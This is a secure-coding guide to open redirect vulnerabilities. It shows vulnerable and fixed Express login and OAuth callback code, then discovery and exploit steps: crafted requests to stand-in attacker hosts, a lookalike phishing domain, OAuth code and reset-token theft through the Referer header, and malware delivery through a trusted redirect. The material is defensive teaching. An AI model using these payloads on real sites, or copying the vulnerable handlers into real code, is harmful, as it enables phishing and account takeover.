Open Redirect
Open Redirect at a glance
Overview
Open redirects occur when applications perform a 3xx redirect to a location derived from user input without validating that destination. Attackers craft links that send users through your trusted domain and then over to a malicious site. In authentication flows, open redirects can leak OAuth codes or tokens if parameters are reflected or if intermediate pages add sensitive data to the URL.
Where it occurs
It occurs in login or redirect handlers that pass user-supplied URLs directly to redirects, such as next or ReturnUrl parameters, or legacy endpoints that use unvalidated query inputs.
Impact
Users are funneled to attacker-controlled sites that mimic your brand. In SSO or OAuth flows, open redirects can be chained to steal codes or tokens. This can lead to account takeover and data exposure.
Prevention
Prevent open redirects by allowing only validated relative paths, enforcing HTTPS, normalizing inputs, using framework-safe URL validators, and pinning exact redirect URIs without wildcards for OAuth flows.
Examples
Switch tabs to view language/framework variants.
Express login accepts arbitrary next URL and redirects off-site
The handler trusts `req.query.next` and issues a 302 to any URL, enabling phishing and token leakage.
app.get('/login', (req, res) => {
// ... do auth
res.redirect(req.query.next || '/'); // BUG
});- Line 3: Unvalidated user-controlled URL used in redirect
Open redirects enable phishing and can leak tokens on OAuth callbacks if parameters are reflected.
const ALLOWED = new Set(['/','/dashboard','/settings']);
app.get('/login', (req, res) => {
const next = typeof req.query.next === 'string' ? req.query.next : '/';
const dest = ALLOWED.has(next) ? next : '/';
res.redirect(dest);
});- Line 2: Validate against a small allow list of relative paths only
Only allow known relative paths from a hard-coded allow list. Never redirect to absolute URLs from user input.
Engineer Checklist
-
Validate
nextor ReturnUrl against a strict allow list of relative paths -
Use helpers like
IsLocalUrland require HTTPS when host validation is needed -
Normalize and decode inputs before comparison, reject
//and external schemes -
Lock down OAuth redirect URIs to exact values without wildcards
-
Log and alert on rejected redirect attempts to spot phishing campaigns
End-to-End Example
A SaaS uses `next` after login. The endpoint accepts any URL and redirects. Attackers send phishing emails with links that start at the SaaS domain, pass through login, then bounce to a fake dashboard on evil.example.
// Node.js/Express - Vulnerable open redirect
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Authenticate user...
const user = await authenticateUser(username, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Set session
req.session.userId = user.id;
// VULNERABLE: Redirect to user-supplied URL without validation
// Attacker sends: /login?next=https://evil.com/fake-dashboard
// Browser redirects from trusted domain to phishing site
const nextUrl = req.query.next || '/';
res.redirect(nextUrl);
});
// ALSO VULNERABLE: OAuth callback with open redirect
app.get('/auth/callback', async (req, res) => {
const code = req.query.code;
const state = req.query.state;
// Exchange code for token...
const token = await exchangeCodeForToken(code);
req.session.token = token;
// VULNERABLE: Redirects to returnUrl from session/query
// Attacker can set returnUrl to external domain
const returnUrl = req.query.returnUrl || req.session.returnUrl || '/';
res.redirect(returnUrl);
});// Node.js/Express - SECURE redirect with whitelist
// Whitelist of allowed internal paths
const ALLOWED_REDIRECTS = new Set([
'/',
'/dashboard',
'/settings',
'/profile',
'/billing'
]);
function isValidRedirect(url) {
// Only allow strings
if (typeof url !== 'string') return false;
// Must be relative path starting with /
if (!url.startsWith('/')) return false;
// Reject protocol-relative URLs (//evil.com)
if (url.startsWith('//')) return false;
// Check against whitelist
return ALLOWED_REDIRECTS.has(url);
}
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await authenticateUser(username, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
req.session.userId = user.id;
// SECURE: Validate redirect URL against whitelist
const nextUrl = req.query.next || '/';
if (!isValidRedirect(nextUrl)) {
// Log suspicious redirect attempts
console.warn(`Blocked redirect attempt to: ${nextUrl}`);
return res.redirect('/');
}
res.redirect(nextUrl);
});
// SECURE: OAuth with exact redirect URI validation
const OAUTH_REDIRECT_URIS = new Set([
'https://app.example.com/auth/callback',
'https://app.example.com/oauth/complete'
]);
app.get('/auth/callback', async (req, res) => {
const code = req.query.code;
const returnUrl = req.query.returnUrl;
// SECURE: Only allow exact, pre-registered OAuth redirect URIs
if (returnUrl && !isValidRedirect(returnUrl)) {
return res.status(400).json({ error: 'Invalid redirect URI' });
}
const token = await exchangeCodeForToken(code);
req.session.token = token;
// Only redirect to whitelisted internal paths
const safeReturnUrl = isValidRedirect(returnUrl) ? returnUrl : '/dashboard';
res.redirect(safeReturnUrl);
});Discovery
This vulnerability is discovered by testing URL parameters (like redirect, return_url, next) with external domains and observing whether the application redirects to the attacker-controlled destination without validation.
-
1. Baseline redirect test
httpAction
Test normal redirect with internal path
Request
GET https://app.example.com/login?next=/dashboardResponse
Status: 302Body:{ "headers": { "Location": "/dashboard" }, "note": "Normal internal redirect working as expected" }Artifacts
redirect_parameter_found baseline_established -
2. External URL redirect test
httpAction
Attempt redirect to external domain
Request
GET https://app.example.com/login?next=https://evil.example.com/phishingResponse
Status: 302Body:{ "headers": { "Location": "https://evil.example.com/phishing" }, "note": "Open redirect confirmed - no validation on external URLs!" }Artifacts
open_redirect_confirmed external_redirect_allowed no_url_validation -
3. Protocol-relative URL bypass
httpAction
Test scheme-relative URLs to bypass basic filters
Request
GET https://app.example.com/login?next=//evil.example.com/phishResponse
Status: 302Body:{ "headers": { "Location": "//evil.example.com/phish" }, "note": "Browser interprets as https://evil.example.com/phish" }Artifacts
protocol_relative_bypass filter_evasion -
4. OAuth code leak test
httpAction
Test if OAuth codes leak through open redirect in callback flow
Request
GET https://app.example.com/oauth/callback?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz&next=https://attacker.example.com/captureResponse
Status: 302Body:{ "headers": { "Location": "https://attacker.example.com/capture" }, "note": "Authorization code visible in Referer header to attacker domain!", "referer_sent": "https://app.example.com/oauth/callback?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz" }Artifacts
oauth_code_leaked referer_header_leak authorization_bypass
Exploit steps
An attacker exploits this by crafting URLs with malicious redirect parameters and using them in phishing campaigns, where victims trust the initial legitimate domain but are redirected to attacker sites for credential harvesting or malware distribution.
-
1. Phishing campaign via trusted domain
Create convincing phishing URL
httpAction
Craft phishing link that starts with legitimate domain
Request
GET https://app.example.com/login?next=https://app-examp1e.com/fake-login.htmlResponse
Status: 302Body:{ "headers": { "Location": "https://app-examp1e.com/fake-login.html" }, "phishing_success": { "victim_action": "Clicks email link starting with trusted app.example.com", "victim_redirected_to": "Lookalike domain app-examp1e.com (note: '1' instead of 'l')", "credentials_entered": { "email": "victim@company.com", "password": "V!ct!mP@ss2024" }, "result": "Account compromised" } }Artifacts
phishing_url_crafted credentials_harvested account_takeover -
2. OAuth token theft
Steal OAuth authorization codes via redirect chain
httpAction
Manipulate OAuth flow to capture authorization code
Request
GET https://oauth-provider.example.com/authorize?client_id=CLIENT_ID&redirect_uri=https://app.example.com/callback?next=https://attacker.example.com/steal&response_type=code&scope=read_writeResponse
Status: 302Body:{ "oauth_flow": { "step_1": "User authorizes application", "step_2": "Redirect to https://app.example.com/callback?code=AUTH_CODE&next=https://attacker.example.com/steal", "step_3": "App redirects to https://attacker.example.com/steal", "step_4": "Referer header contains: https://app.example.com/callback?code=AUTH_CODE", "result": "OAuth code captured by attacker" }, "stolen_code": "SplxlOBeZQQYbYS6WxSbIA", "attacker_action": "Exchange code for access token, gain full account access" }Artifacts
oauth_code_stolen access_token_obtained account_compromise api_access_granted -
3. Session token leakage via Referer
Capture session tokens through redirect
httpAction
Force redirect that leaks session data in Referer header
Request
GET https://app.example.com/reset-password?token=RESET_TOKEN_ABC123&next=https://attacker.example.com/logResponse
Status: 302Body:{ "headers": { "Location": "https://attacker.example.com/log" }, "attacker_receives": { "referer": "https://app.example.com/reset-password?token=RESET_TOKEN_ABC123", "captured_token": "RESET_TOKEN_ABC123", "attacker_action": "Use token to reset victim's password" } }Artifacts
reset_token_leaked referer_header_exposure password_reset_hijack account_takeover -
4. Malware distribution via trusted redirect
Distribute malware through legitimate domain
httpAction
Use open redirect to bypass security filters
Request
GET https://app.example.com/goto?url=https://malicious-downloads.example.com/trojan.exeResponse
Status: 302Body:{ "headers": { "Location": "https://malicious-downloads.example.com/trojan.exe" }, "attack_result": { "email_content": "Download your invoice: https://app.example.com/goto?url=https://malicious-downloads.example.com/invoice.exe", "victim_action": "Clicks trusted app.example.com link", "security_bypass": "Email/AV filters allow trusted domain", "result": "Malware executed, system compromised" } }Artifacts
malware_distributed security_filter_bypass system_infection trust_exploitation
Specific Impact
Users enter credentials or MFA codes on a convincing phishing page. If combined with OAuth misconfigurations, codes or tokens can be leaked, enabling account takeover.
Incident response involves takedown of phishing domains, user notifications, forced password resets, and review of suspicious sessions.
Fix
Only allow internal relative paths and normalize inputs before comparison. For frameworks with helpers, use them. For OAuth, configure exact redirect URIs and reject any mismatch.
Detect This Vulnerability in Your Code
Sourcery automatically identifies open redirect vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free